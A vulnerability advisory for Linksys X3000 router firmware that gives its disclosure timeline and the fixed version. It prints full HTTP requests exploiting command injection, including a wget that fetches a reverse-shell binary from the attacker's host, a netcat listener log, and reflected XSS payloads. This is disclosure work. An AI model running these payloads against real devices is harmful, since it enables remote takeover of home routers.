Device: X3000
Vendor: Linksys
============ Vulnerable Firmware Releases: ============
Firmware Version: v1.0.03 build 001 Jun 11,2012
============ Vulnerability Overview: ============
* OS Command Injection
The vulnerability is caused by missing input validation in the ping_ip parameter and can be exploited to inject and execute arbitrary shell commands.
You need to be authenticated to the device or you have to find other methods for inserting the malicious commands.
* OS Command Injection - Vector 1 (1):
=> Parameter: ping_ip
Example Exploit:
POST /apply.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.1.1/Diagnostics.asp
Authorization: Basic XXX=
Content-Type: application/x-www-form-urlencoded
Content-Length: 194
Connection: close
submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&nowait=1&ping_ip=%3b%20ping%20-c%201%20192%2e168%2e1%2e147%20%3b&ping_size=&ping_times=5&traceroute_ip=
Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/x3000-os-command-injection.png
=============================
To get a shell:
* 1st Request
submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&nowait=1&ping_ip=%3b%20wget http://192.168.178.105/mipsbe_reverse_shell.elf -O /tmp/test1%20%3b&ping_size=&ping_times=5&traceroute_ip=
=> 2nd Request: Requesting change of permissions
=> 3rd Request: Requesting execution of your payload
* Webserver is hosting Big endian MIPS Shellcode:
# ls /var/www/
mipsbe_reverse_shell.elf
* starting local listener via netcat:
# nc -vlp 4444
listening on [any] 4444 ...
192.168.178.188: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.178.105] from (UNKNOWN) [192.168.178.188] 44424
<snip>
=============================
* OS Command Injection - Vector 1 (2):
=> Parameter: Add_Account_Password
Example Exploit:
POST /apply.cgi HTTP/1.1
Host: 192.168.178.188
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.178.188/User_Properties.asp
Authorization: Basic XXX=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 444
command=device_data&cur_ipaddr=192.168.178.188&next_page=StorageAdminUserAdd1.htm&redirect_timer=1&reboot=0&data1=&next_page=&submit_button=User_Properties&submit_type=create_user&change_action=gozila_cgi&Add_Account_Group_Name=&access_group_name=&delete_groups=&Modify_Account_Name=&Add_Account_Name=pwnd&full_name=pwnd&user_desc=pwnd&Add_Account_Password=`ping%20192%2e168%2e178%2e103`&Add_Account_PasswordConfirm=pwnd&Add_Account_Group=admin
* For changing the password there is no request to the current password (3):
With this vulnerability an attacker is able to change the current password without knowing it. The attacker needs access to an authenticated browser.
* reflected XSS
Injecting scripts into the following parameters reveals that these are not properly validated for malicious input.
=> Parameter: ping_ip (4)
POST /apply.cgi HTTP/1.1
Host: 192.168.178.188
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.178.188/Diagnostics.asp
Authorization: Basic XXX=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 156
submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&nowait=1&ping_ip=1.1.1.1'><script>alert(1)</script>&ping_size=32&ping_times=5&traceroute_ip=
=> Parameter: sortby (5)
POST /apply.cgi HTTP/1.1
Host: 192.168.178.188
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.178.188/DHCPTable.asp
Authorization: Basic XXX=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
submit_button=DHCPTable&change_action=&submit_type=&small_screen=&ip=&mac=&if_name=&nowait=1&sortby=mac"%3balert(1)//
=> Parameter: submit_button (6)
POST /apply.cgi HTTP/1.1
Host: 192.168.178.188
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.178.188/WanMAC.asp
Authorization: Basic XXX=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 106
submit_button=WanMAC'%3balert(1)//&change_action=&submit_type=&action=Apply&wait_time=3&mac_clone_enable=0
============ Solution ============
Update to version "v1.0.05 build 002 Feb 21,2013" to fix the following findings:
1, 2, 4, 5, 6
============ Credits ============
The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de/advisories
Twitter: @s3cur1ty_de
============ Time Line: ============
28.01.2013 - discovered vulnerability
04.02.2013 - Reported vulnerability privately to vendor
22.02.2013 - Requested update
25.02.2013 - Linksys responded that there are no updates
18.03.2013 - Requested update
=> and some more update requests ...
08.05.2013 - Testing update from vendor
08.05.2013 - responded testing results
21.06.2013 - Linksys informed me about public available firmware update
22.06.2013 - public disclosure
===================== Advisory end =====================
